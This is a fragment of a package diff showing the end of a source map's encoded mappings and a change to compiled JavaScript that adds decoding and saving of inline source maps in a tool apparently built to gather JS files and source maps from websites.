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"}
|
|
@@ -16,6 +16,7 @@ import resolvePath from "../../utility/resolvePath.js";
|
|
|
16
16
|
import parser from "@babel/parser";
|
|
17
17
|
import _traverse from "@babel/traverse";
|
|
18
18
|
import { runWithConcurrency } from "../../utility/concurrency.js";
|
|
19
|
+
import { decodeInlineSourceMapDataUri, writeInlineSourceMap } from "../sourcemap.js";
|
|
19
20
|
const traverse = ((_a = _traverse.default) !== null && _a !== void 0 ? _a : _traverse);
|
|
20
21
|
const analyzedFiles = [];
|
|
21
22
|
let filesFound = [];
|
|
@@ -62,7 +63,7 @@ export const parseJSFileContent = (content) => __awaiter(void 0, void 0, void 0,
|
|
|
62
63
|
* @param {string} url - The URL of the webpage to fetch and parse.
|
|
63
64
|
* @returns {Promise<string[]>} - A promise that resolves to an array of absolute URLs pointing to JavaScript files found in the page.
|
|
64
65
|
*/
|
|
65
|
-
const svelte_stringAnalysisJSFiles = (url_1, ...args_1) => __awaiter(void 0, [url_1, ...args_1], void 0, function* (url, threads = 1) {
|
|
66
|
+
const svelte_stringAnalysisJSFiles = (url_1, ...args_1) => __awaiter(void 0, [url_1, ...args_1], void 0, function* (url, threads = 1, output = "") {
|
|
66
67
|
console.log(chalk.cyan("[i] Analyzing strings in the files found"));
|
|
67
68
|
while (true) {
|
|
68
69
|
// get all the JS URLs
|
|
@@ -93,9 +94,17 @@ const svelte_stringAnalysisJSFiles = (url_1, ...args_1) => __awaiter(void 0, [ur
|
|
|
93
94
|
const sourcemapMatch = respText.match(/\/\/# sourceMappingURL=(.+)$/m);
|
|
94
95
|
if (sourcemapMatch) {
|
|
95
96
|
const rawRef = sourcemapMatch[1].trim();
|
|
96
|
-
|
|
97
|
-
|
|
98
|
-
|
|
97
|
+
if (rawRef.startsWith("data:")) {
|
|
98
|
+
const decoded = decodeInlineSourceMapDataUri(rawRef);
|
|
99
|
+
if (decoded) {
|
|
100
|
+
writeInlineSourceMap(output, js_url, decoded);
|
|
101
|
+
}
|
|
102
|
+
}
|
|
103
|
+
else {
|
|
104
|
+
const mapUrl = new URL(rawRef, js_url).href;
|
|
105
|
+
if (!mapFilesFound.includes(mapUrl)) {
|
|
106
|
+
mapFilesFound.push(mapUrl);
|
|
107
|
+
}
|
|
99
108
|
}
|
|
100
109
|
}
|
|
101
110
|
// iterate through the foundJsFiles and resolve the paths
|